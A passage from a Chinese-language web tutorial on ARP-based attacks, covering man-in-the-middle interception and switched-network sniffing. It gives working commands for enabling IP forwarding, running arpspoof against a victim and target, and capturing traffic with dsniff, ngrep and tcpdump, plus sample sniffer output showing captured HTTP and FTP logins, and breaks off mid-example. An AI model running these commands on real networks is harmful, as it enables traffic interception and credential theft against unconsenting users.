网络安全 频道

黑客经典教程之理解地址解析协议攻击

3.4 中间人

一个更加著名的为了劫持其他用户传输的攻击方式是通过中间人攻击(MITM)。不像其它攻击,MITM是更包操作的攻击,然而最终导致包重定向到攻击者。所有的传输将发送给用MITM的攻击者。然而这个攻击是特定的。与MAC地址洪水或者其它攻击一个路由/交换机相对的,MITM攻击针对一个目标,而且也能在一个交换机环境之外实行。因此更彻底的意味着一个攻击可以对在国家另一端的一个人实行。

一个MITM攻击之下是受害者必须通过一个没有被加密的协议连接。诸如Telnet和Rlogin的利用能通过MITM攻击来攻击。同样也有可能对一个加密的协议进行MITM攻击.象SSH-但是在这篇文章中,我不会涉及。

一个MITM攻击对象SunOS/Solaris和IRIX这样的操作系统很有用,因为事实是连接这些系统的一个主要模式碰巧是Telnet和Rlogin。我很少见到这些操作系统的老版本使用SSH。

一个基本的MITM攻击由一个攻击者,被攻击者和被攻击者正在连接的目标/目的地组成。使用一个关于这个攻击的可视化表达可能会更加复杂,因此我仅仅打算精细的解释一下当做这个特殊攻击时,发生的事情。

如果还没有初始化,打开IP传递。

Linux:

     # echo 1 > /proc/sys/net/ipv4/ip_forward

 

    Other:

     # sysctl -w net.inet.ip.forwarding=1

       -OR-

     edit /etc/sysctl.conf

为了仔细检查IP传递是否打开了,你可以简单的执行下面的命令:

Linux:

     # cat /proc/sys/net/ipv4/ip_forward

 

    Other:

     # sysctl -A | grep net.inet.ip.forwarding

如果值被设为”1”,那么IP传递被打开了。

接着,我们也将使用第三方公用程序。一个简单应用的建议是使用Dug Song 在他的DSniff包中的”arpspoof”公用程序。

关于使用”arpspoof”公用程序一个好的理由是它非常简单的使用而且仅仅只要两个参数。为了使用它需要的信息是被攻击者的IP地址和被攻击者试图鉴别的目标/目的地IP地址。有了这两个IP地址,我们可以持续我们的MITM攻击。一个简单的关于”arpspoof”实行的例子如下:

1.连接被攻击者,告诉他你是目的地。

2.连接目的地,高速他你是被攻击者。

通过使用经”arpspoof”和两个开放的windows终端的句子,这个很容易的实现。但是在我做这个前,我只想弄清楚例子IP地址正在被使用。

Setup:

     Attacker (IP: 2.2.2.2)

     Victim   (IP: 1.1.1.1) <-> Target (IP: 0.0.0.0)

 

    Term A:

     # arpspoof -t 1.1.1.1 0.0.0.0 &>/dev/null &

     # arpspoof -t 0.0.0.0 1.1.1.1 &>/dev/null &

 

    Term B:

     # dsniff | less

       -OR-

     # ngrep host 1.1.1.1 | less

       -OR-

     # tcpdump host 1.1.1.1 and not arp | less

如果万事皆备,接着通过使用条款B中三个可选择的程序,你应该可以嗅探所有被攻击者和目标/目的地间被发送的传输。

如果最后一些事情没有象计划中那样,那么可能有几个原因。一个原因可能是被攻击者有静态ARP表,它拒绝ARP高速缓存表中的入口覆盖。另一个可能的原因是一个类似于ARPWatch的侦察系统,它是一个ethernet/ip监视系统。提醒一下,这个特殊的MITM攻击在加密协议中不能工作。在第2段中有解释。

3.5 包嗅探

如果网络是通过一个hub分段的而不是一个交换机,在一个局域网(LAN)中嗅探是非常容易的。唯一的区别是一个交换在发送包的时候被组织,因此有资格称为”交换”因为它在相应的目的地之间交换包。另一方面,一个hub盲目自由的在整个网络上广播包而不对任何特定的目的地。

显然通过采用一个MAC洪水攻击可能在一个交换机环境下嗅探。在3.1b部分大概解释了MAC地址洪水攻击。

MAC洪水攻击的一个结果是,交换机将象一个hub,而且允许整个网络被嗅探。这给了你一个机会使用你可以使用的任何类别的嗅探软件来嗅探网络,收集包。一些流行的嗅探软件和程序包括:Dug Song 写的DSniff,LinSniffer (一个流行的版本是humble of rhino9写的LinSniffer 0.666), FX写的PHoss 和 Alberto Ornaghi, Marco Valleri 写的Ettercap 。

PHoss输出的一个例子:

[root@genii sniff]# ./PHoss

    PHoss (Phenoelit''s own security sniffer)

    (c) 1999 by Phenoelit (http://www.phenoelit.de)

    $Revision: 1.13 $

    >>>>>>>>>>>>>>>>>>>>>>>>>>>>>

    Source:         192.168.1.100:40895

    Destination:    72.14.0.99:80

    Protocol:       HTTP

    Data:           asrtrin:manheim

    >>>>>>>>>>>>>>>>>>>>>>>>>>>>>

    Source:         192.168.1.105:46537

    Destination:    72.14.0.99:21

    Protocol:       FTP

    Data:           buddy:holly

    [...]

  TCPDump 3.9.4 输出的一个例子(输出不是一样的):

[root@genii sniff]# 
0
相关文章